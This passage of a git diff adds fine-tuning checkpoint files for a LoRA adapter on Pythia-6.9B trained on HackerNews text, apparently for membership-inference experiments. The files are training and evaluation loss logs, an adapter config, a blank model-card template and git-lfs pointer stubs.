1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.032322535129088e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c73de06ebe00ea19995d46165953e572f80da22c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:77cbbbc0590bce32a9e5be22b6b7512c074adcc75e1b84b33466ffdbabb0f7d1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..271e4bb51ddc26e1c473ccc003c0a20ab39afe1b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2bc37aa7847e74a22580b8cb01a35a319f016658aa120f5d501c4fc0f6eb2c20 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..bc02fa7e506af341c87e94bd62a6cbdfbd057096 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0597f3b9ac321e002676eb1712670348770197d9b197cdd7a7e16f465315444e +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..cc14f7545324288e67e156d036369e2cebdcf74f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd2d3d121570090627f59257118b55358f83f1b060f0fb11ab062387addadff4 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..4d8d0c2c6ecbd2a84abb6242db3f5b3cbe9bd503 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json @@ -0,0 +1,993 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.533333333333333, + "eval_steps": 10, + "global_step": 640, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + 